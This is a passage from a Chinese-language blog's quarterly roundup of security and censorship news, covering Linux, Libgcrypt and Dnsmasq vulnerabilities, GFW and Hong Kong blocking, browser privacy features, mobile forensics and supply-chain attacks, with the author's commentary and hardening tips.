这样的苗头挺危险，很可能预示着——sudo 这个软件包内部还有其它一些高危漏洞没被发现。
有鉴于此，你或许要考虑：【不装或卸载】这个软件包。在需要切换用户权限时，改用 su 命令。当然啦，sudo 命令在很多场合比 su 命令更方便。因此，你需要作出一些取舍。
◇Linux 内核本地提权漏洞
《Linux 内核发现3个提权漏洞，已存在15年之久 @ cnBeta》
......
编程随想注：
这些漏洞（CVE-2021-27363、CVE-2021-27364 和 CVE-2021-27365）存在于内核的 iSCSI 模块中。虽然在默认情况下该模块是没有被加载的，但是 Linux 内核对模块“按需加载的特性”意味着它可以很容易地被本地触发。安全专家在 Red Hat 所有已测试版本和其他发行版本中发现这些漏洞。
在 GRIMM 博客上，安全研究员 Adam Nichols 表示：“我们在 Linux mainline 内核的一个被遗忘的角落里发现了3个 BUG，这些 BUG 已经有15年的历史了。与我们发现的大多数积满灰尘的东西不同，这些 BUG 依然存在影响，其中一个可以作为本地权限升级（LPE）在多个 Linux 环境中使用”。
......
这些漏洞已经在以下内核版本中得到修复：5.11.4、5.10.21、5.4.103、4.19.179、4.14.224、4.9.260 和 4.4.260。而其他已经停止支持的内核将不会收到本次安全修复。
详细的技术分析参见“报告漏洞的 GRIMM 博客”。
一般来说，普通用户的 Linux 环境，默认【没】加载 iSCSI 相关的内核模块。此时，如果攻击者要利用这个漏洞，得依赖于【rdma-core】这个软件包，来诱导内核加载 iSCSI 相关模块。也就是说：如果你的 Linux 默认【未】加载 iSCSI 相关的内核模块，也【没】装这个软件包，应该问题不大。
这个案例给大伙儿的教训是——
1. 系统中安装的软件包越少越好——安装的软件包越少，系统的攻击面就越小。
2. 系统中安装的驱动（内核模块）越少越好——驱动越少，系统的攻击面就越小。
3. 善于使用虚拟化软件（虚拟机），有助于达成上述两条（相关教程）
3.1 你可以根据自己的使用场景，装多个虚拟机（比如说：一个用来办公，一个用来娱乐...）；如此一来，每个虚拟机装的软件都比较少。
3.2 虚拟机（Guest OS）看不到真实的硬件，当然就省掉了很多硬件驱动。
3.3 物理系统（Host OS）能看到真实的硬件，驱动会有点多；但如果你把日常操作都放到“虚拟机”，有助于保持物理系统的【极简】。
◇Windows Defender 本地提权漏洞
《Windows Defender 漏洞竟存在12年，近期终于得到修复 @ cnBeta》
据外媒报道，Windows Defender 的一个严重漏洞在约12年的时间里都没有被攻击者和防御者发现，直到去年秋天它才被修复。值得一提的是，对于一个主流操作系统的生命周期来说，12年是相当长的一段时间，对于这样一个关键的漏洞来说，其隐藏的时真的是太长了。
编程随想注：
结合前一个小节（潜伏十五年的 Linux 内核漏洞），大伙儿可以看出——有些漏洞能潜伏十多年。
◇GnuPG 加密库（Libgcrypt）的缓冲区溢出漏洞
《GnuPG 加密库发现严重 bug @ Solidot》
GnuPG（GNU Privacy Guard）主开发警告：使用1.9版本加密库 Libgcrypt 的用户应立即更新。
编程随想注：
Libgcrypt 1.9 版本是在1月19日释出的，Google Project Zero 研究员 Tavis Ormandy 在该版本中发现了一个堆缓冲区溢出漏洞，会在解密部分数据时发生溢出。问题与块缓冲区管理代码中的错误假设有关，利用该漏洞非常简单，使用1.9版本的用户需要立即去更新加密库。
GnuPG 1.x 采用单一的可执行文件，命令行界面和加密功能都放在一起；从 GnuPG 2.x 开始，改用更加模块化的设计，加密相关的功能单独拆分成一个动态库，也就是 Libgcrypt。
这样的设计有一个好处，如果某个第三方软件需要使用 GnuPG 的加密功能，只需要调用 Libgcrypt 这个模块。
俺为啥要说这些捏？
因为，即使你从来不用 GnuPG，但在你的系统中，可能有某些软件会使用 Libgcrypt 这个库。
此漏洞存在 Libgcrypt 的【解密代码】中。因此，攻击者可以精心构造一个 GPG 的加密文件并把攻击代码嵌入其中。然后想办法让目标系统（受害者系统）中的 Libgcrypt 去解密这个文件，解密过程产生缓冲区溢出，有可能触发攻击代码。
◇DNS 转发客户端（Dnsmasq）的漏洞
《Dnsmasq 漏洞让攻击者能发动 DNS 缓存中毒攻击 @ Solidot》
安全专家披露了流行 DNS 转发客户端 Dnsmasq 的7个漏洞，被统称为 DNSpooq 的漏洞允许攻击者发动 DNS 缓存记录中毒攻击。
存在漏洞的 Dnsmasq 软件被数百万设备使用，其中包括思科设备、Android 智能手机、路由器、防火墙、访问点和 VPN 等网络设备。如果攻击者能利用漏洞对企业路由器成功发送缓存中毒攻击，那么他们可以将企业雇员对 Gmail 账号的访问重定向到钓鱼网站。Dnsmasq 项目已经释出了补丁修复漏洞，网络管理员需要尽可能快的给设备打上补丁。
★言论审查 ＆ 网络屏蔽
◇美国在任总统川普的 SNS 帐号被全面封杀
编程随想注：
1月中旬，川普的各种社交帐号被全面封杀。关于这事儿，列位看官应该都知道，俺就不贴相关的新闻报道链接了。
讨论此事之前，先说一下相关的背景知识：
- 关于“言论自由”的基本概念，参见博文《政治常识扫盲：澄清【言论自由】的各种误区》。
- 在美国，《宪法第一修正案》是“言论自由”的法律基础。
- 《宪法第一修正案》是用来限制【政府】的权力，而不是针对私营公司。
- 因此，几大 IT 巨头封杀川普的帐号，从法律上讲【没】违反《宪法第一修正案》。
在谈此问题之前，先要抛开“川普”这个人——因为川普的争议很大（有很多川粉，也有很多川黑）。你不要因为自己对川普的态度，而影响对这个问题的判断。
了解俺的读者，应该比较清楚俺的态度——
- 俺一直强调：要警惕各种类型的【政客】（不论是独裁体制里的政客，还是民主体制中的政客）；
- 俺一直强调：要警惕各种类型的【政府】（不论是独裁政府，还是民主政府）；
- 俺一直强调：要警惕各种类型的【大公司】（不论是独裁国家的大公司，还是民主国家的大公司）；
- 对于“大公司”，【IT 行业】的大公司（相比传统行业而言）更危险——因为如今是信息时代，【信息技术】正在成为人类社会的基础设施。虽然 IT 大公司不具备“公权力”，但他们的影响力将非常接近于政府的“公权力”。
《人类自由的三大死敌——谈谈“共产运动、纳粹主义、政教合一”的共性》
《“对抗专制、捍卫自由”的 N 种技术力量》
《每周转载：EFF 创始人约翰·佩里·巴洛和他的【赛博空间独立宣言】》
◇香港警方援引《国安法》，封锁政治网站
《香港当局首次引用＜国安法＞封锁网站，引发全面审查担忧 @ BBC/英国广播公司》
香港多家网络公司据报按当地警方依据香港《国安法》的要求，封锁为用户连结到一个称为“香港编年史”的网站，这个网站载有大量参加处理2019年香港示威期间的部分警察和一些亲建制人士的个人资料，是《国安法》去年生效以来，香港当局首次引用这部法例封锁网站。
编程随想注：
目前“香港编年史”的网站已经被多个网络供应商封锁，但网站本身仍然在运作，香港境外的人仍然可以使用网站，香港境内使用虚拟私人网络（VPN）也可以正常使用网站。香港媒体引述当地其中一家主要网络供应商“香港宽频”表示，已经按《国安法》要求停止连线至“香港编年史”网站，其他网络供应商就没有回应传媒查询。
......
除了“香港编年史”，一个称为“香港解密”的网站也刊载了一些民主派人士、示威者和记者的资料。虽然两个都是“起底”网站，“香港解密”至今仍然可以正常运作，令外界质疑香港当局的做法有“双重标准”。
......
如今，香港已经是【一国一制】了。“香港编年史”网站被香港警方封杀，只不过再次印证了这点。
考虑到本博客也有香港读者，提醒一下：
（如果你人在香港）甚至要考虑到更坏的情况——或许有一天，香港网络被纳入【墙内】。
从技术上讲，这一点都不难——只需在香港的国际出口部署 GFW 系统。之所以现在还没这么干，应该是基于其它方面（比如经济/金融）的考虑。
◇GFW 封杀 DoH 服务器
《防火墙屏蔽了多个 DoH 服务器 @ Solidot》
DNS-over-HTTPS（DoH）加密了 DNS 请求, 被用于规避 DNS 污染。
根据 greatfire.org 的测试结果：NextDNS、Quad9、AdGuard 在近日被屏蔽。防火墙对这些域名没有使用 DNS 污染, 而是使用检测 SNI 和 IP 黑洞的方法。Cloudflare 的 DoH 服务器还没有被屏蔽。
◇Github 处于“半封锁”状态
编程随想注：
最近2个月，有不止一位读者在博客留言，反馈说：直接访问 Github，网络传输质量很差（注：如果翻墙访问，就感觉不到）。
俺要提醒一下大伙儿：当年 Gmail 是墙内广泛使用的邮件服务。大约10年前，GFW 开始对 Gmail 的 HTTPS 流量进行【随机丢包】（也就是“人为劣化传输质量”）。在这个阶段，网民还是可以打开 Gmail 的 Web 界面，但会感觉网络很不稳定。
在之后的几年，GFW 对 Gmail 的干扰（随机丢包）越来越严重。一直到了2014年“六四纪念日”的前几天，GFW 彻底阻断了 Gmail 的 HTTPS 流量。
俺猜测：GFW 对付 Github，可能也会是这样。
引申阅读：
《每周转载：关于“Gmail 彻底被墙”的网友评论》
◇天朝进一步严控“自媒体”
《中国社交平台要求：公众号提供互联网新闻信息，需获资质 @ 新浪》
微信公众平台、搜狐号、百家号等平台近期相继发布通知，要求公众账号提供互联网新闻信息服务，应取得《互联网新闻信息服务许可证》，如不具备相关资质，不得发布或建议不要发布时政类新闻。
......
《中国突袭查禁大量军事自媒体 @ RFI/法广》
中国网络时政论坛“猫眼看人”在3月底突然关闭后，多个中国军事自媒体近期也陆续被封。不少中国网友感叹言论再趋紧缩，但也有人认为当局是在防止泄密、清除“造爱国谣”。
中国大量军事自媒体被封。据中央社称，此为莫谈国事又一桩。根据社群平台新浪微博的相关讨论，中国当局这波对军事自媒体的清洗可追溯至3月22日。
消息说，中国大型军事论坛“超级大本营”当天下午突然公告，将于3月23日凌晨起永久关闭海军、空军、陆军、航太及新概念武器等4个讨论版，实际上是关闭了军事装备讨论版。随后，“新浪军事”、“军武次位面”等军事类微信公众号近日也因“违规”被关，甚至连微信母公司腾讯旗下的腾讯网军事频道微信公众号“讲武堂”也没能幸免。其中，“军武次位面”迄今未解封。于此同时，中国知名时事政治论坛“猫眼看人”也在3月30日突然关闭。
据该报道，关于这波时政、军事论坛、自媒体被关闭，不少中国网友在微博留言感叹言论越趋紧缩，认为当局有意引导舆论“莫谈国事，只谈风月”等。不过，也有人指出，常有军事迷在军事论坛刊载拍摄到的新型军机或正在建造中的军舰等，且被封锁的军事论坛多是涉及武器讨论，很可能是当局为了防止泄密所致。
此外，也有中国网友列举上述自媒体过去的错误文章指出，这类自媒体常常“造爱国谣”煽动网友情绪，导致“战狼情绪”被境外报导放大，“增大了外事处理的难度，终于被集中治理了一次”。
......
◇政变之后，缅甸军方断网
《用步枪和钢丝钳断网——缅甸积极建设数字防火墙 @ 纽约时报》
《3月15日起，缅甸全国范围内移动通信网络无限期关闭 @ 搜狐》
◇俄国政府开始对付“卫星上网”
《俄罗斯议会考虑：惩罚使用西方卫星宽带的公民 @ Solidot》
俄罗斯国家杜马正在讨论一项立法，阻止国民使用西方的卫星宽带，违反者将会面临罚款。个人用户面临的罚款金额从1万到3万卢布，而企业的罚款金额从50万到100万卢布。
美国公司 SpaceX 和英国公司 OneWeb 都在发射各自的宽带卫星，计划在不久的未来提供高速的卫星宽带服务。但俄罗斯杜马议员认为使用西方卫星宽带将会绕过该国的通信监视系统 System of Operational Search Measures。作为加强对媒体和通信控制的一部分，所有俄罗斯的互联网流量都必须通过一家俄罗斯通信服务商。
★Web ＆ 浏览器
◇Firefox 开始支持 TLS 协议的【ECH 功能】
《Firefox 将用 Encrypted Client Hello 替换 ESNI @ Solidot》
随着越来越多的网站普及 HTTPS，明文的服务器名称指示（Server Name Indication，SNI）成为新的隐私漏洞。通过明文 SNI，ISP 或任何网络中间人将会知道你访问了哪个网站。两年前，Mozilla 宣布 Firefox Nightly 加入了对加密 SNI 的支持（编程随想注：“加密 SNI”称作 ESNI）。
编程随想注：
但自 ESNI 规格草案发布以来，分析显示只加密 SNI 扩展所提供的保护是不完整的。举例来说，在会话重用过程中，Pre-Shared Key 扩展会包含 ESNI 加密的服务器名称的明文副本。为了解决 ESNI 的不足之处，较新版本的规格不再只加密 SNI，而是加密整个 Client Hello 信息。因此规格的名字也从 ESNI 改为 ECH。
从 Firefox 85 起，浏览器用 ECH 取代了 ESNI，about:config 也不再展示 ESNI 选项。该功能尚未默认启用，如果用户想要默认启用可以进入 about:config 将设置 network.dns.echconfig.enabled 和 network.dns.use_https_rr_as_altsvc 设为 true。
HTTPS 本质上是“HTTP over TLS/SSL”，其中的 TLS/SSL 协议用于加密。为了支持“多个域名共享同一个 IP 地址”，TLS/SSL 引入了 SNI（Server Name Indication）机制。请注意：这个 SNI 机制本身是【明文】滴。
如果你访问的网站属于“多域名共享 IP”，那么 ISP 就有可能偷窥 SNI，从而知道你访问了哪个域名（但无法知道你访问的网页内容）。同样的道理，天朝的 GFW 也可以通过监视 SNI，以进行针对性的封锁——通过监视 SNI，一旦发现你访问的是【不和谐】的网站，就把 TLS/SSL 连接阻断。
为了解决 SNI 的缺陷，后来 TLS/SSL 协议中引入了 ESNI；但 ESNI 的加密还是不够严谨（如上述文章所说），于是又升级为 ECH（全称是“Encrypted Client Hello ”）。关于这方面的协议细节，俺会在《扫盲 HTTPS 和 SSL/TLS 协议》（系列）的后续博文中介绍。
◇【超级 cookie】的隐私风险，及其防范措施
《Browser 'Favicons' Can Be Used as Undeletable 'Supercookies' To Track You Online @ Slashdot》
编程随想注：
上述这篇洋文介绍了：如何用 favicon 构造 Supercookies。考虑到很多读者看不懂洋文，俺稍微费点口水解释一下：
原理——
所谓的【favicon】就是网站的小图标，也就是显示在浏览器标签页上的那个图标（每个网站都不同）。
浏览器会在本地维护一个 favicon 的缓存（favicon cache）。当你【第一次】访问某网站，缓存中没有该网站的小图标，浏览器会从该网站抓取，并保存在 favicon cache 中；反之，如果 favicon cache 中已经有对应的小图标，则无需抓取。
一般来说，浏览器提供了“清除历史”的功能，可以清除“浏览历史、下载历史、cookie、HTML 缓存、等等”。但【不包括】这个“favicon cache”。也就是说，（在浏览器界面上）【没有】简单的操作可以清除这个缓存。
因此，某些网站（比如在线广告商）就可以利用 favicon cache 的这个特点，构造出某种【持久的指纹】。这个指纹的特色在于——不管你是否开启“隐私模式”、不管你是否清除过历史、不管你是否走代理。这个指纹都是唯一不变滴。
更详细的技术原理，参见“这个链接”。
测试——
你的浏览器是否能对抗 Supercookie 捏？可以通过“这个页面”进行测试。
顺便说一下：这个测试页面在【禁用 JS】的情况下依然可用。也就是说，Supercookie 使用的技术【无需】依赖 JS 脚本。
解决方法——
Firefox 从85版本开始，解决了 Supercookie 带来的隐私风险。具体参见 Mozilla 官网的如下文章。
《Firefox 85 Cracks Down on Supercookies @ Mozilla》
如果你用的是老版本的 Firefox，或者是其它类型的浏览器，还可以考虑用另外一招——【定期删除】“favicon 缓存”。
不同类型的浏览器，“favicon 缓存”的文件位置也不同。对于 Firefox 而言，它位于：实例目录下的favicons.sqlite文件。
对于使用虚拟机的同学：只要你能确保：当你创建虚拟机快照的时候，浏览器环境是【纯洁】的（所有相关缓存都是【空】的）；那么，当你把虚拟机回退到这个快照，浏览器中的 supercookie 自然就消失了。
另外，
如果你听从了俺多年来的建议，创建【多个浏览器环境】（多实例 or 多用户 or 多虚拟机）。可以在一定程度上缓解“supercookies 的隐私风险”。因为 supercookies【无法】跨浏览器环境；因此，网站也就【无法】判断出：操作多个浏览器环境的，是同一个自然人。
（注：“多浏览器环境”只是“缓解”这个风险，而不是“根治”）
◇Google 想要终结 cookie 技术
《Google 表示它可能找到了 cookies 的隐私友好替代 @ Solidot》
Google 周一宣布它可能找到了 cookies 的隐私友好替代。它测试了名为 Federated Learning of Cohorts（FLoC）的新 API，其源代码发布在 GitHub 上。
编程随想注：
测试显示，相比基于 cookies 的广告，FLoC 广告的转化率至少达到 95%。FLoC 使用机器学习算法分析用户数据，然后根据用户访问的网站，将数千用户分成一组。数据是浏览器在本地收集的不会分享出去，但这群用户的数据会共享并被用于定向广告。也就是说 FLoC 广告是根据人们的普遍兴趣进行针对性展示。
这个玩意儿到底是不是“隐私友好”？目前俺了解有限，暂时无法从技术角度发表意见。
考虑到 Google 的商业模式（主要利润来自于【在线广告收入】），俺不太相信所谓的“隐私友好”。
《Google 淘汰 Cookies 的计划引来反垄断调查 @ Solidot》
Google 在今年初宣布了 Cookies 的替代 Federated Learning of Cohorts (FLoC)，声称它对用户隐私更为友好。但这一计划引发了美国司法部调查人员的关切，调查人员一直在问询广告行业的高管，以了解 Google 此举是否会妨碍规模较小的竞争对手。
消息人士表示，司法部调查人员的询问涉及到 Chrome 的各种政策，包括与 cookies 相关的规定，对于广告和新闻产业产生哪些影响。
Chrome 浏览器的全球市占率约 60%。消息人士并指出，调查人员正询问 Google 是否利用 Chrome 来避免对手广告公司通过 cookies 追踪用户，同时留下漏洞供自己用 cookies、分析工具、以及其他资源来收集资料，从而降低竞争。
◇Firefox 开始禁用 HTTP 协议的【referer 字段】
《Firefox 87 trims HTTP Referrers by default to protect user privacy @ Mozilla》
编程随想注：
“HTTP referer”会有隐私风险，尤其当你在使用【搜索引擎】时。如下这篇博文的其中一个章节，扫盲了“HTTP referer”相关的知识。
《Startpage——保护隐私的搜索引擎，搜索质量等同 Google》
◇微软开始清理【旧版】Edge
《Windows 10 强制性更新将彻底杀死旧 Edge @ Solidot》
微软将在4月份释出的 Windows 10 例行更新中移除旧的 Edge 浏览器。
微软目前在 Windows 10 上有三种不同的浏览器：旧 Edge，新的基于 Chromium 的 Edge，以及 IE。为了减少混乱和改进安全，微软准备从操作系统移除旧的浏览器。软件巨人公布了杀死 旧 Edge 的计划：2021年4月释出的例行安全更新。
Chromium Edge 将成为微软希望用户唯一使用的浏览器。
◇终于有浏览器支持【IPFS】啦
《Brave 浏览器支持 IPFS 点对点协议 @ Solidot》
由 Mozilla 联合创始人 Brendan Eich 所创公司开发的 Brave 成为首个支持 IPFS 点对点协议的浏览器。
编程随想注：
IPFS 代表 InterPlanetary File System，类似 BitTorrent 的点对点协议，设计作为去中心化储存系统，允许用户在数百甚至数千个节点之间共享不受审查的内容。当 Brave 探测到用户试图访问 IPFS 内容或使用原生地址如 ipfs:// 或 ipns://，浏览器会提示用户安装和启用 IPFS 节点，或使用一个 HTTP 网关。
IPFS 是基于 P2P 方式的分布式文件系统。你可以通俗地理解为：IPFS 构建了一个【全球性的网盘】，该网盘上的每个文件都会存储在多个不同的节点。上传到该网盘的每个文件都分配了唯一的“磁力链接”（洋文叫“magnet link”，相当于“网址”）。只要拿到某个文件的“磁力链接”，就可以下载到该文件。下载的时候，你无需关心这个文件存储在哪里。
IPFS 已经诞生了很多年，可惜推广度依然【不够】。主要原因在于——缺乏重量级的软件支持。如果有足够多的浏览器软件支持 IPFS，那它的前途就很光明。如今，Brave 浏览器迈出了第一步。接下来就看 Chrome 与 Firefox 是否跟进了。
俺的网盘分享了《IPFS 白皮书》感兴趣的同学，可以去看看。
◇Google 的 Chromium 团队与 Linux 社区闹僵
《多个 Linux 发行版考虑移除 Chromium 软件包 @ Solidot》
Google Chrome Team 团队向 Linux 发行版开发者发去邮件通知，从3月15日起，在构建配置中使用 google_default_client_id 和 google_default_client_secret 的第三方 Chromium 版本，它们的终端用户将无法再登陆其 Google Accounts 账号。
Google 称，他们在最近的审计中发现部分基于 Chromium 的浏览器使用了原本只给 Google 使用的 Google API 和服务，其中最主要的是同步账号的 Chrome Sync API，它决定移除这些 API 的访问，声称这是为了改进用户数据安全。
Linux 发行版开发者表示过去十年他们一直这么做的，如果无法使用 Google 的同步功能，那么继续维护 Chromium 软件包也没有什么价值了。Chrome 的工程总监 Jochen Eisinger 在回复中表示他们的决定不会改变。Slackware Linux 和 Arch Linux 都表示考虑从仓库移除 Chromium。
★移动设备
◇警方破解手机，比你想象的容易
《How law enforcement gets around your smartphone's encryption @ Ars Technica》
......
编程随想注：
When an iPhone has been off and boots up, all the data is in a state Apple calls 【Complete Protection】. The user must unlock the device before anything else can really happen, and the device's privacy protections are very high. You could still be forced to unlock your phone, of course, but existing forensic tools would have a difficult time pulling any readable data off it. Once you've unlocked your phone that first time after reboot, though, a lot of data moves into a different mode—Apple calls it "Protected Until First User Authentication", but researchers often simply call it 【After First Unlock】（注：简称 AFU）.
If you think about it, your phone is almost always in the AFU state. You probably don't restart your smartphone for days or weeks at a time, and most people certainly don't power it down after each use. (For most, that would mean hundreds of times a day.) So how effective is AFU security? That's where the researchers started to have concerns.
The main difference between Complete Protection and AFU relates to how quick and easy it is for applications to access the keys to decrypt data. When data is in the Complete Protection state, the keys to decrypt it are stored deep within the operating system and encrypted themselves. But once you unlock your device the first time after reboot, lots of encryption keys start getting stored in quick access memory, even while the phone is locked. At this point an attacker could find and exploit certain types of security vulnerabilities in iOS to grab encryption keys that are accessible in memory and decrypt big chunks of data from the phone.
......
关于“手机的危险性”，本博客已经唠叨过无数次了。俺反复告诫大伙儿（尤其是政治敏感人士），【不要】使用手机进行敏感的活动。
上述这篇洋文会告诉你，政府执法机构（警方 or 国安部门）破解手机其实比多数人想象的更容易，不论是 iOS 或 Android，都容易。
俺特意摘出上述三段洋文，其大意是：在【开机且解锁过一次】的状态下，即使手机屏幕已锁定，也很容易破解。关键在于，开机第一次解锁之后，全盘加密的【密钥】就会位于【内存】中。此时，“手机取证软件”只要能利用某种系统漏洞 or 软件漏洞，拿到内存中的“全盘加密密钥”，就 OK 啦。
作为对比，如果是在【关机】状态下，破解的难度就大得多（但依然有可能破解）。
假如你看不懂洋文，可以去看系列教程《TrueCrypt 使用经验》的第3篇——专门谈“加密盘的破解与防范”，其中有介绍【盗取密钥】这招的原理。
◇对比遥测数据——Android VS iOS
《Google 从 Android 设备上收集的遥测数据二十倍于苹果 @ Solidot》
都柏林大学圣三一学院的 Douglas J. Leith 教授跟踪了（PDF）iOS 和 Android 设备向苹果和 Google 服务器发送的遥测数据，发现 Google 收集的数据二十倍于苹果。
Leith 教授称，研究考虑了操作系统本身收集的数据以及操作系统供应商提供的默认应用收集的数据，云端存储，地图/位置服务等，只计算遥测数据。
Leith 教授指出，即使用户选择退出遥测，iOS 和 Android 仍然会发送遥测数据。苹果收集了更多的信息数据类型，但 Google 收集的数据量要多得多。开机10分钟内，Pixel 手机向 Google 发送了 1MB 数据，而 iPhone 发送了 42KB；在闲置状态下，Pixel 手机每12小时向 Google 发送 1MB 数据，相比之下 iPhone 只向苹果发送 52KB 数据。
当新的 SIM 卡插入到设备中，相关信息会立即与苹果和 Google 共享。设备上预装的应用被发现在未启动或使用前就会连接苹果和 Google 服务器。Google 发言人用汽车收集数据为它收集数据辩护。
◇移动设备的木马
《安全公司发现完整间谍软件功能的 Android 恶意程序 @ Solidot》
安全公司 Zimperium 的研究人员发现了包含完整间谍软件功能的先进 Android 恶意程序。恶意程序伪装成系统更新，通过第三方应用商店传播。它的功能包括：
编程随想注：
窃取 IM 消息，
窃取 IM 数据库文件（如果可以 root），
检查默认浏览器的书签和搜索，
检查 Google Chrome、 Mozilla Firefox 和 Samsung Internet Browser 的书签和搜索历史，
搜索特定扩展名（.pdf .doc .docx .xls .xlsx）的文件，
检查剪贴板数据，
检查通知内容，
记录音频，
记录电话呼叫，
利用前置或后置摄像头定期拍照，
窃取照片和视频，
跟踪 GPS 位置，
窃取短信，
......
分享这篇报道，是想让诸位见识一下手机木马（尤其是功能完善的手机木马）能做到何种程度。
★网络攻击
◇基于【依赖混淆】的供应链攻击
编程随想注：
这类攻击主要针对【企业】，而且与软件开发相关。不懂编程的读者，可直接跳过本小节。
《揭秘新的供应链攻击，一研究员靠它成功入侵微软、苹果等35家科技公司 @ InfoQ》
最近，一名安全研究员利用一种新颖的软件供应链攻击成功入侵了35家大型科技公司的内部系统，这些公司包括：微软、苹果、PayPal、特斯拉、Uber、Yelp、Shopify、Netflix。在向这些公司提交安全报告后，他获得超过13万美元的奖金。
据悉，此类攻击利用了开源生态系统的一个设计缺陷：依赖关系混乱。攻击者先把恶意软件上传到开源存储库中，比如 PyPI、npm 和 RubyGems，此后它们会自动地分发到下游的公司的内部应用中。
与传统的误植域名攻击（typosquatting attacks）不同，这种特殊的供应链攻击更复杂，并且无需攻击者进行其他操作。
去年，安全研究者 Alex Birsan 在与另一名研究者 Justin Gardner 一起工作时冒出一个想法。当时，Gardner 向 Birsan 分享了一个清单文件（manifest file）package.json，它来自一个 npm 包，而它正被 PayPal 内部所使用。
Birsan 注意到一些清单文件包并没有出现在公共的 npm 存储库，但是，它却代替了 PayPal 创建的私有 npm 包。于是，他产生一个疑问：如果创建一个同名的公开 npm 包，那么软件在构建时，开发人员是优先使用私有的，还是公开的版本？
为测试这一假说，Birsan 开始搜索私有内部包的名称。这些私有的内部的包可以从 GitHub 存储库的清单文件或公司的 CDN 中找到，但却不在公共开源存储库中。
此后，这名研究员开始在开源存储库（比如 npm、PyPI 和 RubyGems）中创建同名的冒牌项目。这些冒牌项目都位于 Birsan 的 GitHub 真实账户下，并且有一个清晰的免责声明，解释“软件包不包含任何有用的代码，只是用于安全研究目的”。
他很快意识到，公开的软件包会比私有的软件包优先度更高。Birsan 还注意到，某些情况下，像 PyPI 包，版本更高的软件包，优先度也更高，无论它是私有的还是公开的。
利用这一方法，他通过发布公司内部在用的同名的公开软件包，实施了一系列成功的供应链攻击，轻松地入侵微软、苹果、PayPal、特斯拉、Uber、Yelp、Shopify、Netflix。
Birsan 说：“与误植域名或品牌劫持不同，依赖关系混乱不需要攻击者进行任何的手工操作。”
......
《最近披露的“依赖混淆供应链攻击”开始大量增加 @ Solidot》
◇针对【安全研究人员】的攻击
《Google 警告针对安全研究员的攻击行动 @ Solidot》
Google 警告，过去几个月，朝鲜黑客组织对安全研究员发动了针对性攻击。
编程随想注：
为了建立信誉和联系安全研究员，黑客首先创建了安全博客和 Twitter 账号，与潜在目标进行互动，然后发帖发视频声称完成了某个漏洞利用。Google 表示它没有验证所有漏洞利用的可信度，但至少有一例所谓成功的漏洞利用被指是伪造的。在与目标建立初步联系之后，黑客会询问目标：是否愿意共同研究漏洞，然后提供一个 Visual Studio 项目，其中包含了一个定制的恶意程序 DLL。
除了社会工程攻击外，黑客还成功入侵了访问他们博客的安全研究员的计算机系统。当时受害者的系统打了最新的补丁，Google 表示他们暂时还不知道入侵机制。
“安全公司的研究人员”本身是高价值目标，因为他们手头有可能掌握了一些“未公开漏洞”。这类漏洞的价值很高（比“零日漏洞”更值钱），俗称“数字化军火”。
有很多安全研究人员擅长“攻击”，但却【不】擅长“防御”。因此，他们会成为其它攻击者的目标（有点像“黑吃黑”）。
◇针对【Android 模拟器】的供应链攻击
《针对手游玩家的供应链攻击 @ Solidot》
安全研究人员发现了针对手游玩家的供应链攻击。未知攻击者入侵了开发 NoxPlayer 的 BigNox，NoxPlayer 被用于在 PC 和 Mac 上模拟 Android 系统，用户主要用它玩 Android 手游。它非常受欢迎，在全世界有1.5亿用户。
攻击者在入侵了 BigNox 的软件分发系统之后对部分用户推送了恶意更新，操纵了两个文件：BigNox 的主二进制程序 Nox.exe 和更新程序 NoxPack.exe。恶意更新是在去年9月推送的，攻击者在去年年底和今年初向特定受害者推送了后续恶意更新。研究人员认为这些恶意程序主要用于监视目标，受害者位于台湾、香港和斯里兰卡。
★新冷战 ＆ 网络战
◇中美科技脱钩
《美国传唤多家中国电信企业，开始撤销两家中企在美经营权 @ RFI/法广》
《美国拜登政府修订供货华为许可证，对可用于 5G 设备的产品实施新限制 @ 路透社》
《比特朗普还要狠，拜登对华为 5G 禁令加码，新的限制条件更严格 @ 网易》
《美国将飞腾/申威等七家中国超算实体列入黑名单，称其协助中国军方 @ 路透社》
◇针对“超微服务器”的供应链攻击
《The Long Hack——How China Exploited a U.S. Tech Supplier @ Bloomberg》
编程随想注：
早在2018年，彭博社已经报道过类似案例——天朝利用代工的机会，在超微公司（Supermicro）的服务器 BIOS 中植入恶意代码，从而进行供应链攻击。
2018年的那篇报道引发了很多争议。今年2月份的这篇报道，是对2018年那篇的补充。全文很长，下面这篇 RFI 的中文报道是其简述。
《彭博社：中国通过科技供应商收集情报，成为全球供应链的广泛风险 @ RFI/法广》
据彭博社（2020年2月）12日的文章介绍：2010年，美国国防部发现旗下数以千计的电脑伺服器将军方网路资料送到中国，后来发现这是因为执行开机程序的晶片中隐藏恶意程式码。2014年，半导体巨头英特尔（Intel）发现中国骇客集团利用一台伺服器入侵英特尔网路，而这台伺服器从一家提供更新的供应商网站下载到恶意软体。2015年，美国联邦调查局警告多家公司，中国特务在一家製造商的伺服器中隐藏了一个另外载有后们程式码的晶片。而这些事件都牵涉两个共同点：中国和设在加州的美超微公司（Supermicro）。此外，美国情报单位都对此知情，但秘而不宣，试图进行反情报工作，以摸清楚中国的底细。
在彭博社文章中，前 FBI 资深官员泰布（Jay Tabb）指出，美超微事件凸显了全球供应链的广泛风险。“完美说明了美国企业若选择在中国制造任何产品，容易受到潜在的恶意窜改。对产品制造地点若无法完整地监督，这是最糟情况的例子。”“中国政府这种行径已有很长一段时间，企业必须明白中国还在这么做。硅谷尤其不能佯装这种情况现在没有发生。”
该报导也指出，美超微或它旗下员工都未被指控任何非法的行为，报导中受访的前美国官员强调，美超微本身不是任何反情报调查的目标。
美超微回应彭博询问时表示，美国政府或公司的客户从未就这些所谓的调查和他们联系。彭博汇集一些迥异和不准确的指控，做出了牵强的结论。美国联邦机构，包括报导中在调查的机构，仍继续採购美超微产品。
中国外交部发言人则表示，文中的指控是对中国的攻击，试图“诋毁中国和中国企业”，并指控美国官员捏造事实炒作“中国威胁论”。
◇“SolarWinds 攻击事件”的后续报道
编程随想注：
在上一期的《近期安全动态和点评（2020年4季度）》，详细介绍了去年（2020）曝光的“SolarWinds 攻击事件”——号称【史上最严重的供应链攻击】。
当时俺分析了：至少有【两波】攻击者。第1波攻击者，俄国佬的嫌疑最大；那么，第2波攻击者会是谁捏？以下是今年1季度的后续报道。目前看来，第2波攻击者很大可能是天朝的御用骇客。
《疑似中国黑客利用 SolarWinds 软件漏洞入侵美国政府 @ Solidot》
